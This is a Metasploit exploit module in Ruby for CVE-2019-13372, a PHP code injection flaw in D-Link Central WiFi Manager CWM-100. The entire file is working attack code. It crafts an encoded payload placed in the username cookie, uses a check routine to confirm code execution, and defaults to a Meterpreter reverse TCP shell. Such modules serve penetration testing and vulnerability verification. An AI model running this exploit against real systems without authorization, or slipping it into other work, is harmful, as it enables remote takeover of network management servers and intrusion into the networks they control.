##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'D-Link Central WiFi Manager CWM(100) RCE',
        'Description' => %q{
          This module exploits a PHP code injection vulnerability in D-Link Central WiFi Manager CWM(100)
          versions below `v1.03R0100_BETA6`. The vulnerability exists in the
          username cookie, which is passed to `eval()` without being sanitized.
          Dangerous functions are not disabled by default, which makes it possible
          to get code execution on the target.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'M3@ZionLab from DBAppSecurity', # Original discovery
          'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # PoC, metasploit module
        ],
        'References' => [
          ['CVE', '2019-13372'],
          ['URL', 'https://unh3x.github.io/2019/02/21/D-link-(CWM-100)-Multiple-Vulnerabilities/' ]
        ],
        'Targets' => [ [ 'Automatic', {}] ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'php/meterpreter/reverse_tcp',
          'SSL' => true,
          'RPORT' => 443
        },
        'Platform' => %w[php],
        'Arch' => [ ARCH_PHP ],
        'DisclosureDate' => '2019-07-09'
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])
      ]
    )
  end

  def inject_php(cmd)
    encode_char = ->(char) { "%#{char.ord.to_s(16).rjust(2, '0')}" }
    payload = "',0,\"\",1,\"0\")%3b#{cmd.gsub(/[;\s]/, &encode_char)}%3b//\""
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri, 'index.php', 'Index', 'index'),
      'cookie' => "username=#{payload};password="
    )
    res ? res.body[/^(.*?)<!DOCTYPE html>/mi, 1] : nil
  end

  def check
    rand_text = Rex::Text.rand_text_alphanumeric(rand(4..10))
    if inject_php("echo \"#{rand_text}\"")&.chomp == rand_text
      return Exploit::CheckCode::Vulnerable
    end

    Exploit::CheckCode::Unknown
  end

  def exploit
    inject_php(payload.raw)
  end
end
